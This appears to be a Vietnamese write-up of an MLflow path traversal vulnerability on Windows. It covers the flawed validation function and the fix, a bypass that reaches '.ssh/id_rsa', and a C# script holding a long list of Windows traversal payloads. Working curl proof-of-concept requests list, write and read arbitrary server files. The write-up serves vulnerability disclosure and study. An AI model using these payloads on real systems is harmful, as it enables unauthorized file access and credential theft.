Initial Analysis

Tác giả tìm được hàm dùng để ngăn chặn path traversal:

_OS_ALT_SEPS = [sep for sep in [os.sep, os.path.altsep] if sep is not None and sep != "/"]
...
 
def validate_path_is_safe(path):
    """
    Validates that the specified path is safe to join with a trusted prefix. This is a security
    measure to prevent path traversal attacks.
    """
    if (
        any((s in path) for s in _OS_ALT_SEPS)
        or ".." in path.split(posixpath.sep)
        or posixpath.isabs(path)
    ):
        raise MlflowException(f"Invalid path: {path}", error_code=INVALID_PARAMETER_VALUE)

Hàm này kiểm tra các điều kiện sau:

  • Path có các ký tự phân cách KHÁC / (hoặc \ đối với Windows).
  • Tách path theo / và kiểm tra các ký tự directory traversal ...
  • Kiểm tra xem path là một absolute Posix path (bắt đầu bằng /).

Nếu một trong số những điều kiện được match thì nó sẽ reject.

Tuy nhiên, đoạn code trên quên mất kiểm tra absolute path của Windows chẳng hạn như C:/some/abs/path (lưu ý là đoạn code trên cần phải hoạt động được cả ở Windows và Unix).

# Python 3.9.6 on Windows 10 Pro x64 Build 19045 
>>> import os
>>> import posixpath
>>> test_path = 'C:/some/abs/path'
>>>
>>> _OS_ALT_SEPS = [sep for sep in [os.sep, os.path.altsep] if sep is not None and sep != "/"]
>>>
>>> any((s in test_path) for s in _OS_ALT_SEPS)
False
>>> ".." in test_path.split(posixpath.sep)
False
>>> posixpath.isabs(test_path)
False

Impact

Liệt kê file:

# CURL request:
curl -X 'GET' "http://$MLFLOW_SERVER_IP:5000/ajax-api/2.0/mlflow/artifacts/list?run_uuid=POC_RUN_ID&path=C:/"
 
# Response:
{
 "root_uri": "file:///C:/Users/Strawberry/Desktop/projects/mlflow/examples/shap/mlruns/0/POC_RUN_ID/artifacts",
 "files": [
	 {
	 "path": "../../../../../../../../../..",
	 "is_dir": true
	 },
	 {
	 "path": "../../../../../../../../../../../Program Files",
	 "is_dir": true
	 },
	 {
	 "path": "../../../../../../../../../../../Windows",
	 "is_dir": true
	 },
	 ...
 ]
}
# CURL request:
curl -X 'GET' "http://$MLFLOW_SERVER_IP:5000/ajax-api/2.0/mlflow-artifacts/artifacts?path=C:/"
 
# Response:
{
 "files": [
	 {
	 "path": "..",
	 "is_dir": true
	 },
	 ...
	 {
	 "path": "Program Files",
	 "is_dir": true
	 },
	 {
	 "path": "Program Files (x86)",
	 "is_dir": true
	 },
	 {
	 "path": "ProgramData",
	 "is_dir": true
	 },
	 {
	 "path": "Recovery",
	 "is_dir": true
	 },
	 {
	 "path": "System Volume Information",
	 "is_dir": true
	 }
 ]
}

Ghi file:

# CURL request:
curl -X 'PUT' -d 'this is write poc' "http://$MLFLOW_SERVER_IP:5000/ajax-api/2.0/mlflow-artifacts/artifacts/C:/temp/poc.txt"
 
# Response:
{}

Đọc file:

# CURL request:
curl -X 'GET' "http://$MLFLOW_SERVER_IP:5000/get-artifact?path=C:/temp/poc.txt&run_uuid=POC_RUN_ID"
 
# Response:
this is write poc
# CURL request:
curl -X 'GET' "http://$MLFLOW_SERVER_IP:5000/model-versions/get-artifact?path=C:/Temp/poc.txt&run_uuid=POC_RUN_ID&name=POC_MODEL_NAME&version=1"
 
# Response:
this is write poc

The Fix

Bản fix:

def validate_path_is_safe(path):
    """
    Validates that the specified path is safe to join with a trusted prefix. This is a security
    measure to prevent path traversal attacks.
    A valid path should:
        not contain separators other than '/'
        not contain .. to navigate to parent dir in path
        not be an absolute path
    """
    if is_file_uri(path):
        path = local_file_uri_to_path(path)
    if (
        any((s in path) for s in _OS_ALT_SEPS)
        or ".." in path.split("/")
        or pathlib.PureWindowsPath(path).is_absolute()
        or pathlib.PurePosixPath(path).is_absolute()
    ):
        raise MlflowException(f"Invalid path: {path}", error_code=INVALID_PARAMETER_VALUE)

Haxatron’s $30000 Bypass

Có một cách để bypass bản fix trên:

If you don’t know what starting a path on Windows with `C:` does, basically if a path starts with `C:` on Windows then we treat is such that we remove the drive letter and colon from the beginning. For instance a path `C:../.ssh/id_rsa` will get converted to `../.ssh/id_rsa`. As such we can break out of the root dirrectory up to 1 layer.

Weird World of Windows Paths

Windows hỗ trợ tận 4 cách để tạo một absolute path và tận 3 cách để tạo relative path.

Một số loại absolute path mà Windows hỗ trợ:

  • C:\path\to\file
  • \\.\C:\path\to\file - device absolute path
  • \\?\C:\path\to\file - device absolute path (sẽ không được chuẩn hóa)
  • \\localhost\C$\path\to\file - UNC drive share absolute path

Một số loại relative path mà Windows hỗ trợ:

  • ..\..\..\path\to\file
  • \path\to\file - “current drive relative” path. Tương đương với absolute path ở trên drive hiện tại (ví dụ nếu ổ C đang được sử dụng thì nó sẽ tương ứng với C:\path\to\file).
  • C:..\..\..\path\to\file - tương đương với C:\Users\User
[The weird world of Windows file paths | Fileside](https://www.fileside.app/blog/2023-03-17_windows-file-paths/)

Canonicalization of Alternative Separators

Windows hỗ trợ sử dụng forward slash nên path //localhost/C$/path/to/file là hợp lệ. Thực chất, các ký tự / sẽ được thay thế bởi \ khi được xử lý. Ngoài ra, bất kỳ separator liên tiếp nào cũng sẽ được thay thế bởi một ký tự separator duy nhất.

Normalization

Các path không bắt đầu bằng \\?\ sẽ trải qua quá trình chuẩn hóa:

  • Directory hiện tại sẽ được thêm vào đầu relative path.
  • Directory separators sẽ được canonical hóa.
  • Relative directory components (...) sẽ được tính toán.
  • Các ký tự khoảng trắng và dấu chấm ở cuối sẽ bị loại bỏ.

Compiling Every Bit together

Tác giả kết hợp các thành phần trên rồi test một tập nhiều path:

using System;
using System.IO;
 
class Program
{
    static string[] paths =
    {
        "\\/127.0.0.1\\C$/Windows///////\\system32/drivers//////\\etc/hosts.......     ",
        "//./C:/Windows/system32/drivers/etc/hosts",
        "\\/./C:/Windows/system32/drivers/etc/hosts",
        "/\\./C:/Windows/system32/drivers/etc/hosts",
        "\\\\.\\C:\\Windows\\system32\\drivers\\etc\\hosts",
        "\\/.\\C:\\Windows\\system32\\drivers\\etc\\hosts",
        "/\\.\\C:\\Windows\\system32\\drivers\\etc\\hosts",
        "//./C:/Windows/system32/drivers/etc/hosts.",
        "\\/./C:/Windows/system32/drivers/etc/hosts.",
        "/\\./C:/Windows/system32/drivers/etc/hosts.",
        "\\\\.\\C:\\Windows\\system32\\drivers\\etc\\hosts.",
        "\\/.\\C:\\Windows\\system32\\drivers\\etc\\hosts.",
        "/\\.\\C:\\Windows\\system32\\drivers\\etc\\hosts.",
        "\\\\?\\C:\\Windows\\system32\\drivers\\etc\\hosts",
        "\\/?\\C:\\Windows\\system32\\drivers\\etc\\hosts",
        "/\\?\\C:\\Windows\\system32\\drivers\\etc\\hosts",
        "//?/C:/Windows/system32/drivers/etc/hosts",
        "\\/?/C:/Windows/system32/drivers/etc/hosts",
        "/\\?/C:/Windows/system32/drivers/etc/hosts",
        "\\\\localhost\\C$\\Windows\\system32\\drivers\\etc\\hosts",
        "\\/localhost\\C$\\Windows\\system32\\drivers\\etc\\hosts",
        "/\\localhost\\C$\\Windows\\system32\\drivers\\etc\\hosts",
        "//localhost/C$/Windows/system32/drivers/etc/hosts",
        "\\/localhost/C$/Windows/system32/drivers/etc/hosts",
        "/\\localhost/C$/Windows/system32/drivers/etc/hosts",
        "\\\\localhost\\C$\\Windows\\system32\\drivers\\etc\\hosts.",
        "\\/localhost\\C$\\Windows\\system32\\drivers\\etc\\hosts.",
        "/\\localhost\\C$\\Windows\\system32\\drivers\\etc\\hosts.",
        "//localhost/C$/Windows/system32/drivers/etc/hosts.",
        "\\/localhost/C$/Windows/system32/drivers/etc/hosts.",
        "/\\localhost/C$/Windows/system32/drivers/etc/hosts.",
        "\\\\127.0.0.1\\C$\\Windows\\system32\\drivers\\etc\\hosts",
        "\\/127.0.0.1\\C$\\Windows\\system32\\drivers\\etc\\hosts",
        "/\\127.0.0.1\\C$\\Windows\\system32\\drivers\\etc\\hosts",
        "//127.0.0.1/C$/Windows/system32/drivers/etc/hosts",
        "\\/127.0.0.1/C$/Windows/system32/drivers/etc/hosts",
        "/\\127.0.0.1/C$/Windows/system32/drivers/etc/hosts",
        "\\\\127.0.0.1\\C$\\Windows\\system32\\drivers\\etc\\hosts.",
        "\\/127.0.0.1\\C$\\Windows\\system32\\drivers\\etc\\hosts.",
        "/\\127.0.0.1\\C$\\Windows\\system32\\drivers\\etc\\hosts.",
        "//127.0.0.1/C$/Windows/system32/drivers/etc/hosts.",
        "\\/127.0.0.1/C$/Windows/system32/drivers/etc/hosts.",
        "/\\127.0.0.1/C$/Windows/system32/drivers/etc/hosts.",
        "//::1/C$/Windows/system32/drivers/etc/hosts",
        "\\/::1/C$/Windows/system32/drivers/etc/hosts",
        "/\\::1/C$/Windows/system32/drivers/etc/hosts",
        "\\\\::1\\C$\\Windows\\system32\\drivers\\etc\\hosts",
        "\\/::1\\C$\\Windows\\system32\\drivers\\etc\\hosts",
        "/\\::1\\C$\\Windows\\system32\\drivers\\etc\\hosts",
        "//::1/C$/Windows/system32/drivers/etc/hosts.",
        "\\/::1/C$/Windows/system32/drivers/etc/hosts.",
        "/\\::1/C$/Windows/system32/drivers/etc/hosts.",
        "\\\\::1\\C$\\Windows\\system32\\drivers\\etc\\hosts.",
        "\\/::1\\C$\\Windows\\system32\\drivers\\etc\\hosts.",
        "/\\::1\\C$\\Windows\\system32\\drivers\\etc\\hosts.",
        "C:..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "C:..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "C:..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "C:..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "C:..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "C:..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "C:..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "C:..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "C:..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "C:..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "C:..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "C:..\\Windows\\system32\\drivers\\etc\\hosts",
        "C:../../../../../../../../../../../../Windows/system32/drivers/etc/hosts",
        "C:../../../../../../../../../../../Windows/system32/drivers/etc/hosts",
        "C:../../../../../../../../../../Windows/system32/drivers/etc/hosts",
        "C:../../../../../../../../../Windows/system32/drivers/etc/hosts",
        "C:../../../../../../../../Windows/system32/drivers/etc/hosts",
        "C:../../../../../../../Windows/system32/drivers/etc/hosts",
        "C:../../../../../../Windows/system32/drivers/etc/hosts",
        "C:../../../../../Windows/system32/drivers/etc/hosts",
        "C:../../../../Windows/system32/drivers/etc/hosts",
        "C:../../../Windows/system32/drivers/etc/hosts",
        "C:../../Windows/system32/drivers/etc/hosts",
        "C:../Windows/system32/drivers/etc/hosts",
        "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "..\\Windows\\system32\\drivers\\etc\\hosts",
        "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts.",
        "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts.",
        "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts.",
        "..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts.",
        "..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts.",
        "..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts.",
        "..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts.",
        "..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts.",
        "..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts.",
        "..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts.",
        "..\\..\\Windows\\system32\\drivers\\etc\\hosts.",
        "..\\Windows\\system32\\drivers\\etc\\hosts.",
        "../../../../../../../../../../../../Windows/system32/drivers/etc/hosts",
        "../../../../../../../../../../../Windows/system32/drivers/etc/hosts",
        "../../../../../../../../../../Windows/system32/drivers/etc/hosts",
        "../../../../../../../../../Windows/system32/drivers/etc/hosts",
        "../../../../../../../../Windows/system32/drivers/etc/hosts",
        "../../../../../../../Windows/system32/drivers/etc/hosts",
        "../../../../../../Windows/system32/drivers/etc/qhosts",
        "../../../../../Windows/system32/drivers/etc/hosts",
        "../../../../Windows/system32/drivers/etc/hosts",
        "../../../Windows/system32/drivers/etc/hosts",
        "../../Windows/system32/drivers/etc/hosts",
        "../Windows/system32/drivers/etc/hosts",
        "../../../../../../../../../../../../Windows/system32/drivers/etc/hosts.",
        "../../../../../../../../../../../Windows/system32/drivers/etc/hosts.",
        "../../../../../../../../../../Windows/system32/drivers/etc/hosts.",
        "../../../../../../../../../Windows/system32/drivers/etc/hosts.",
        "../../../../../../../../Windows/system32/drivers/etc/hosts.",
        "../../../../../../../Windows/system32/drivers/etc/hosts.",
        "../../../../../../Windows/system32/drivers/etc/qhosts.",
        "../../../../../Windows/system32/drivers/etc/hosts.",
        "../../../../Windows/system32/drivers/etc/hosts.",
        "../../../Windows/system32/drivers/etc/hosts.",
        "../../Windows/system32/drivers/etc/hosts.",
        "../Windows/system32/drivers/etc/hosts.",
        "../..\\../..\\../..\\../..\\../..\\../..\\Windows/system32\\drivers/etc\\hosts",
        "../..\\../..\\../..\\../..\\../..\\..\\Windows/system32\\drivers/etc\\hosts",
        "../..\\../..\\../..\\../..\\../..\\Windows/system32\\drivers/etc\\hosts",
        "../..\\../..\\../..\\../..\\..\\Windows/system32\\drivers/etc\\hosts",
        "../..\\../..\\../..\\../..\\Windows/system32\\drivers/etc\\hosts",
        "../..\\../..\\../..\\..\\Windows/system32\\drivers/etc\\hosts",
        "../..\\../..\\../..\\Windows/system32\\drivers/etc\\hosts",
        "../..\\../..\\..\\Windows/system32\\drivers/etc\\hosts",
        "../..\\../..\\Windows/system32\\drivers/etc\\hosts",
        "../..\\..\\Windows/system32\\drivers/etc\\hosts",
        "../..\\Windows/system32\\drivers/etc\\hosts",
        "../\\Windows/system32\\drivers/etc\\hosts",
        "RANDOMDIR..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "RANDOMDIR..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "RANDOMDIR..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "RANDOMDIR..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "RANDOMDIR..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "RANDOMDIR..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "RANDOMDIR..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "RANDOMDIR..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "RANDOMDIR..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "RANDOMDIR..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "RANDOMDIR..\\..\\Windows\\system32\\drivers\\etc\\hosts",
        "RANDOMDIR..\\Windows\\system32\\drivers\\etc\\hosts",
        "RANDOMDIR../../../../../../../../../../../../Windows/system32/drivers/etc/hosts",
        "RANDOMDIR../../../../../../../../../../../Windows/system32/drivers/etc/hosts",
        "RANDOMDIR../../../../../../../../../../Windows/system32/drivers/etc/hosts",
        "RANDOMDIR../../../../../../../../../Windows/system32/drivers/etc/hosts",
        "RANDOMDIR../../../../../../../../Windows/system32/drivers/etc/hosts",
        "RANDOMDIR../../../../../../../Windows/system32/drivers/etc/hosts",
        "RANDOMDIR../../../../../../Windows/system32/drivers/etc/hosts",
        "RANDOMDIR../../../../../Windows/system32/drivers/etc/hosts",
        "RANDOMDIR../../../../Windows/system32/drivers/etc/hosts",
        "RANDOMDIR../../../Windows/system32/drivers/etc/hosts",
        "RANDOMDIR../../Windows/system32/drivers/etc/hosts",
        "RANDOMDIR../Windows/system32/drivers/etc/hosts",
        "C:/Windows/system32/drivers/etc/hosts",
        "C:\\Windows\\system32\\drivers\\etc\\hosts",
        "C:/Windows/system32/drivers/etc/hosts.",
        "C:\\Windows\\system32\\drivers\\etc\\hosts."
    };
 
    static void Main(string[] args)
    {
        foreach(string path in paths)
        {
            try
            {
                // Check if the file exists
                if (File.Exists(path))
                {
                    // Read the contents of the file
                    string fileContent = File.ReadAllText(path);
                    Console.WriteLine($"[+] Path: {path}");
                }
                else
                {
                    Console.WriteLine($"[-] Path: {path}");
                }
            }
            catch (Exception)
            {
                Console.WriteLine($"Path error: {path}");
            }
        }
    }
}

Các path này đều hợp lệ:

Windows LFI Wordlist

Tác giả cũng tạo wordlist cho các path trên ở SecLists: Add new dictionary for Windows LFI fuzzing by adeadfed · Pull Request #982 · danielmiessler/SecLists

Resources